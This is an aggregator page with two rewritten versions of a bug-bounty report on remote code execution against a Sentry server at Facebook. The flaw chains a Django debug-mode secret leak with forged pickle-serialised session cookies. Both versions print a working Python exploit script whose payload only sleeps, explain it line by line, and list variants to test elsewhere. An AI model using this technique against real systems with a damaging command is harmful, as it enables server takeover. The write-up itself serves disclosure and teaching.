Skip to content
RCE Write-up Advanced

Remote Code Execution on a Facebook server

A Sentry server had Django debug mode enabled, leaking a secret key used for session signing. An attacker could forge a session cookie containing a malicious pickle payload, leading to remote code execution.

Sec team Follow

Published on blog.scrt.ch

Bounty$5,000 View original

I regularly search for vulnerabilities on big services that allow it and have a Bug Bounty program. Here is my first paper which covers a vulnerability I discovered on one of Facebook’s servers.

Sec team, on blog.scrt.ch

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 4 min read.

Context

Sentry is a log collection web application written in Python on top of the Django framework. The target here was a Sentry instance hosted on one of Facebook's servers, reachable at the hostname sentryagreements.thefacebook.com. The feature that mattered for this bug was the user password reset flow, which was unstable and occasionally crashed, surfacing Django stacktraces to the browser.

Setup

No account, role or special tooling is described beyond the researcher's own Sentry session. The precondition was simply that the application was running with Django debug mode left on, so that an unhandled exception in the password reset feature printed the environment to the page. The researcher had an existing sentrysid session cookie from using the application.

Finding it

The entry point was a scan of an IP range belonging to Facebook, [redacted]/24. That scan surfaced a Sentry service on [redacted] with the hostname sentryagreements.thefacebook.com.

While browsing the application, stacktraces popped up regularly for an unknown reason, apparently tied to the password reset feature crashing. Django debug mode was not turned off, so a stacktrace printed the whole environment. Django does snip critical information such as passwords, secrets and keys from those stacktraces, which normally prevents a massive information leak.

From the original on blog.scrt.ch

Looking more closely at the stacktrace, several environment keys stood out:

  • SESSION_COOKIE_NAME is sentrysid
  • SESSION_SERIALIZER is django.contrib.sessions.serializers.PickleSerializer
  • SESSION_ENGINE is django.contrib.sessions.backends.signed_cookies
  • SENTRY_OPTIONS contains some Sentry configuration in a list

Pickle is a binary protocol for serialising and unserialising Python object structures, including the classes and methods inside them. If an attacker can forge a session containing arbitrary pickle content, unserialising it can execute commands on the system. The SECRET_KEY Django uses to sign session cookies was not available in the stacktrace, but the SENTRY_OPTIONS list contained a key named system.secret-key that was not snipped. Sentry's documentation describes system.secret-key as a secret key used for session signing, and warns that if it becomes compromised it should be regenerated, otherwise hijacking user sessions becomes much easier. In effect it acts as a sort of Django SECRET_KEY override.

From the original on blog.scrt.ch

Exploitation

With the signing key and the knowledge that sessions are pickle-serialised and stored in signed cookies, the researcher wrote a script that injects a payload into his own sentrysid cookie.

Step 1: forge a signed cookie with a pickle payload

Python
#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os

SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='[redacted]:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()

print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

The script loads the existing sentrysid cookie with the recovered key, the pickle serializer and the django.contrib.sessions.backends.signed_cookies salt. It defines a PickleRce class whose __reduce__ returns os.system paired with sleep 30, so the command runs when the object is unserialised. It stores an instance under the testcookie key and prints a freshly signed, compressed cookie. The payload is deliberately harmless: it only sleeps.

Step 2: send the forged cookie

Using the forged cookie, the page took an additional 30 seconds to load, which confirmed the presence of the flaw.

Root cause

Three settings combined into the vulnerability. Django debug mode was left on, so stacktraces leaked the environment. Django's snipping of secrets did not cover the SENTRY_OPTIONS list, so system.secret-key was exposed. And the session configuration used PickleSerializer with signed_cookies, meaning the cookie content is deserialised with pickle and the only protection is the signature. Once the signing key is known, an attacker can sign arbitrary pickle content, and pickle deserialisation of attacker-controlled data leads to code execution. The signature defends integrity, not the safety of the deserialisation step.

Impact

The forged cookie caused the server to run the sleep 30 command, shown by the 30 second delay. The report notes that the server was in a separate VLAN with no users' specific data, which limited the practical exposure. The bounty was 5000 USD.

Fix

Facebook acknowledged the vulnerability, took the system down until the flaw was patched, and then notified the researcher that the patch was in place. The report does not describe the patch itself. The disclosure timeline:

  • 30.07.2018 00:00 CEST: initial disclosure with every detail.
  • 30.07.2018 15:25 CEST: triaged and system takedown.
  • 09.08.2018 18:10 CEST: patch in place.
  • 09.08.2018 20:10 CEST: a 5000 USD bounty is awarded, the server was in a separate VLAN with no users' specific data.

Variants to test

  • Look for Django applications with debug mode on and trigger errors in features that crash, such as password reset. A positive result is a stacktrace page showing environment variables.
  • Check whether the session engine is django.contrib.sessions.backends.signed_cookies and the serializer is PickleSerializer. A positive result is a session cookie whose decoded content is pickle data.
  • Search leaked configuration for keys that override or duplicate the signing secret, such as system.secret-key in SENTRY_OPTIONS. A positive result is a key that lets you re-sign a cookie the server accepts.
  • Re-sign a cookie with a harmless payload such as sleep 30 and measure the response time. A positive result is a measurable delay confirming deserialisation of your object.
  • Test other frameworks that deserialise signed client-side state, such as Flask sessions or Rails cookies, for the same pattern: signed but unsafe deserialisation. A positive result is code execution from a forged cookie once the signing key is known.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

A security researcher found a Facebook server that was running a piece of software called Sentry. Sentry is a tool that collects error reports and logs from other applications, so developers can see what went wrong. This particular Sentry installation had a few mistakes in its configuration, and those mistakes combined into something serious: the researcher could make the server run a command of his choosing. He proved it with a harmless command that just waits 30 seconds, and Facebook paid him 5000 USD for the report.

This article walks through the whole story from the beginning, explaining every technical idea as it appears. You only need to know how to use a browser to follow along.

Context

Sentry is a web application written in the Python programming language, built on top of a framework called Django. A framework is a ready-made set of building blocks that developers use to build a website faster, the way a furniture kit gives you pre-cut pieces instead of raw wood. Django handles common jobs such as managing user logins, storing data and showing error pages.

The target was a Sentry instance hosted on one of Facebook's servers, reachable at the hostname sentryagreements.thefacebook.com. A hostname is the human-friendly name you type in a browser, like www.example.com; behind it sits a server with a numeric address.

The feature that mattered for this bug was the user password reset flow. That is the feature you use when you click "forgot my password" and the site emails you a link to choose a new one. On this installation the feature was unstable and occasionally crashed. When a Django application crashes and debug mode is switched on, it shows a detailed error page in the browser, called a stacktrace, instead of a generic "something went wrong" message.

Setup

No account, role or special tooling is described beyond the researcher's own Sentry session. A session is what a website uses to remember that you are logged in: after you sign in, the server gives your browser a small piece of data called a cookie, and the browser sends it back with every request so the server recognises you. Think of it as a wristband you get at an event: you show it at the door and you are let in without showing your ID again.

The precondition was simply that the application was running with Django debug mode left on. Debug mode is a development setting that gives programmers lots of detail when something breaks. It is meant for a developer's own machine, not for a public server, because the detail can include internal information.

Because debug mode was on, an unhandled exception in the password reset feature printed the environment to the page. The environment is the collection of settings and variables the application runs with, a bit like the list of ingredients and oven settings a bakery works with. The researcher had an existing sentrysid session cookie from using the application. sentrysid is simply the name this installation gives its session cookie.

Finding it

The entry point was a scan of an IP range belonging to Facebook, [redacted]/24. An IP address is the numeric address of a machine on the internet, and an IP range is a block of such addresses owned by one organisation. Scanning a range means systematically asking each address whether something is listening there, like walking down a street and knocking on every door. That scan surfaced a Sentry service on [redacted] with the hostname sentryagreements.thefacebook.com.

While browsing the application, stacktraces popped up regularly for an unknown reason, apparently tied to the password reset feature crashing. A stacktrace is the error page that lists what the program was doing when it broke, step by step, like the receipt trail of a failed transaction. Django debug mode was not turned off, so a stacktrace printed the whole environment. Django does snip critical information such as passwords, secrets and keys from those stacktraces, which normally prevents a massive information leak. "Snip" here means the framework blanks out sensitive values before showing the page, replacing them with something unreadable.

From the original on blog.scrt.ch

Looking more closely at the stacktrace, several environment keys stood out. A key here is just the name of a setting, paired with its value:

  • SESSION_COOKIE_NAME is sentrysid
  • SESSION_SERIALIZER is django.contrib.sessions.serializers.PickleSerializer
  • SESSION_ENGINE is django.contrib.sessions.backends.signed_cookies
  • SENTRY_OPTIONS contains some Sentry configuration in a list

These four lines are the heart of the story, so let us unpack them.

The first says the session cookie is called sentrysid. Harmless on its own, but useful to know which cookie to look at.

The second says the session data is turned into bytes using something called Pickle. Pickle is a binary protocol for serialising and unserialising Python object structures, including the classes and methods inside them. Serialising means turning a live object in memory into a stream of bytes you can store or send; unserialising is the reverse, rebuilding the object from those bytes. A comparison: serialising is like writing down a recipe so you can cook the dish later; unserialising is cooking from that recipe. The danger is that a Pickle recipe can include instructions to do more than assemble ingredients. If an attacker can forge a session containing arbitrary pickle content, unserialising it can execute commands on the system.

The third says sessions are stored in signed cookies. "Signed" means the server attaches a cryptographic stamp to the cookie so it can later check the cookie was produced by the server and not tampered with. It is like a wax seal on an envelope: if the seal is intact, the recipient trusts the contents. The catch is that a seal only proves who sealed it; it says nothing about whether the contents are safe to open.

The fourth, SENTRY_OPTIONS, is a list of Sentry's own configuration. That list turned out to be the weak point.

The SECRET_KEY Django uses to sign session cookies was not available in the stacktrace, because Django snipped it. Without that key you cannot produce a valid seal, so you cannot forge a cookie. But the SENTRY_OPTIONS list contained a key named system.secret-key that was not snipped. Sentry's documentation describes system.secret-key as a secret key used for session signing, and warns that if it becomes compromised it should be regenerated, otherwise hijacking user sessions becomes much easier. In effect it acts as a sort of Django SECRET_KEY override. In other words, the very value Django was hiding was sitting in plain sight under a different name.

From the original on blog.scrt.ch

Exploitation

With the signing key and the knowledge that sessions are pickle-serialised and stored in signed cookies, the researcher wrote a script that injects a payload into his own sentrysid cookie. A payload is the part of an attack that does the actual work, as opposed to the part that gets it through the door.

Step 1: forge a signed cookie with a pickle payload

Python
#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os

SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='[redacted]:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()

print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

Line by line, in plain words:

  • #!/usr/bin/python tells the operating system which program should run this file. It is a note to the computer, not to the reader.
  • import django.core.signing, django.contrib.sessions.serializers loads Django's signing tools and its session serialisers, the code that turns session data into bytes and back.
  • from django.http import HttpResponse and import cPickle and import os load more libraries. os is the one that matters later: it lets Python run operating system commands. cPickle is the fast version of the Pickle library.
  • SECRET_KEY='[RETRIEVEDKEY]' is where the recovered signing key goes. With this key the script can produce a seal the server will accept.
  • The comment #Initial cookie I had on sentry when trying to reset a password explains where the next line's value came from: it is the researcher's own session cookie, captured while using the password reset feature.
  • cookie='[redacted]:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw' is that original cookie. Notice the two colons: the parts are the data, a timestamp and the signature, which is the seal.
  • newContent = django.core.signing.loads(...) opens the cookie using the recovered key, the pickle serializer and the salt django.contrib.sessions.backends.signed_cookies. A salt is an extra fixed string mixed into the signing process so that a signature made for one purpose cannot be reused for another. This line gives the script the session data as a Python dictionary, which is a collection of named values, like a form with labelled fields.
  • class PickleRce(object): defines a new kind of object. The name is just a label; what matters is the method inside.
  • def __reduce__(self): defines a special method that Pickle calls when it needs to know how to rebuild this object. It is the object's own instruction sheet for the recipe.
  • return (os.system,("sleep 30",)) is that instruction: when the object is rebuilt, call os.system with the argument sleep 30. os.system runs a command on the server, and sleep 30 is a command that does nothing for 30 seconds. The payload is deliberately harmless: it only sleeps.
  • newContent['testcookie'] = PickleRce() stores an instance of that object in the session data under the name testcookie, so the dangerous recipe travels inside the cookie.
  • print django.core.signing.dumps(...) turns the modified session data back into bytes, signs it with the recovered key, the same serializer and the same salt, and compresses it. The result is a freshly sealed cookie that the server will trust.

Why this step was needed: the server only accepts cookies carrying a valid seal, and only the holder of the signing key can make one. Once the key leaked, the researcher could take his own legitimate cookie, swap its contents for a pickle payload, and seal it again so the server would treat it as genuine.

Step 2: send the forged cookie

Using the forged cookie, the page took an additional 30 seconds to load, which confirmed the presence of the flaw. The reasoning is simple: if the server had ignored the payload, the page would have loaded at normal speed. The delay confirmed the presence of the flaw. The researcher used a command that only costs time.

Root cause

Three settings combined into the vulnerability. Django debug mode was left on, so stacktraces leaked the environment. Django's snipping of secrets did not cover the SENTRY_OPTIONS list, so system.secret-key was exposed. And the session configuration used PickleSerializer with signed_cookies, meaning the cookie content is deserialised with pickle and the only protection is the signature. Once the signing key is known, an attacker can sign arbitrary pickle content, and pickle deserialisation of attacker-controlled data leads to code execution. The signature defends integrity, not the safety of the deserialisation step. Integrity here means "the data was not changed in transit"; it does not mean "the data is harmless".

Impact

The forged cookie caused the server to run the sleep 30 command, shown by the 30 second delay. Command execution is the most serious outcome in this kind of bug, because the attacker is no longer limited to what the website offers: the server runs whatever the attacker tells it to. The report notes that the server was in a separate VLAN with no users' specific data, which limited the practical exposure. A VLAN is a separated section of a network, like a corridor closed off from the rest of the building, so even a compromised machine there cannot easily reach other systems. The bounty was 5000 USD.

Fix

Facebook acknowledged the vulnerability, took the system down until the flaw was patched, and then notified the researcher that the patch was in place. Taking the system offline removes the risk immediately while the real fix is prepared. The report does not describe the patch itself. The disclosure timeline:

  • 30.07.2018 00:00 CEST: initial disclosure with every detail.
  • 30.07.2018 15:25 CEST: triaged and system takedown.
  • 09.08.2018 18:10 CEST: patch in place.
  • 09.08.2018 20:10 CEST: a 5000 USD bounty is awarded, the server was in a separate VLAN with no users' specific data.

Variants to test

These are patterns to look for on other systems, each with the sign that tells you it is worth pursuing:

  • Look for Django applications with debug mode on and trigger errors in features that crash, such as password reset. A positive result is a stacktrace page showing environment variables.
  • Check whether the session engine is django.contrib.sessions.backends.signed_cookies and the serializer is PickleSerializer. A positive result is a session cookie whose decoded content is pickle data.
  • Search leaked configuration for keys that override or duplicate the signing secret, such as system.secret-key in SENTRY_OPTIONS. A positive result is a key that lets you re-sign a cookie the server accepts.
  • Re-sign a cookie with a harmless payload such as sleep 30 and measure the response time. A positive result is a measurable delay confirming deserialisation of your object.
  • Test other frameworks that deserialise signed client-side state, such as Flask sessions or Rails cookies, for the same pattern: signed but unsafe deserialisation. A positive result is code execution from a forged cookie once the signing key is known.

Glossary

  • API: a defined way for one program to talk to another, like a service counter with fixed rules for what you can ask and how.
  • Bounty: a payment a company makes to someone who reports a security problem responsibly.
  • Cookie: a small piece of data a website stores in your browser and receives back on each request, used to remember who you are.
  • Debug mode: a development setting that shows detailed error information, meant for developers and not for public servers.
  • Deserialisation: turning stored bytes back into a live object in memory, the reverse of serialisation.
  • Django: a Python framework for building websites, providing ready-made pieces such as sessions and error pages.
  • Environment: the collection of settings and variables an application runs with.
  • Framework: a ready-made set of building blocks for building software faster.
  • Hostname: the human-friendly name of a server, such as www.example.com.
  • Integrity: the property that data has not been altered, checked here by a signature.
  • IP address: the numeric address of a machine on a network.
  • IP range: a block of IP addresses owned by one organisation.
  • Payload: the part of an attack that performs the action, as opposed to the part that delivers it.
  • Pickle: a Python binary format for serialising and unserialising objects, including instructions on how to rebuild them.
  • RCE (remote code execution): a flaw that lets an attacker run commands on a remote server.
  • Salt: an extra fixed string mixed into a signing or hashing process so a result cannot be reused in another context.
  • Sentry: a log and error collection application, written in Python on Django, that gathers error reports from other software.
  • Serialisation: turning a live object in memory into bytes that can be stored or sent.
  • Session: the server-side record, keyed by a cookie, that lets a website remember a logged-in user.
  • Signature: a cryptographic stamp on data that lets the receiver check it was produced by the holder of a secret key and not altered.
  • Signed cookie: a cookie carrying such a stamp, so the server can detect tampering.
  • Stacktrace: the error page listing the steps a program was executing when it failed.
  • VLAN: a separated section of a network, isolated from other sections.
  • Vulnerability: a weakness in software that an attacker can use to make it behave in unintended ways.

More from Meta

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.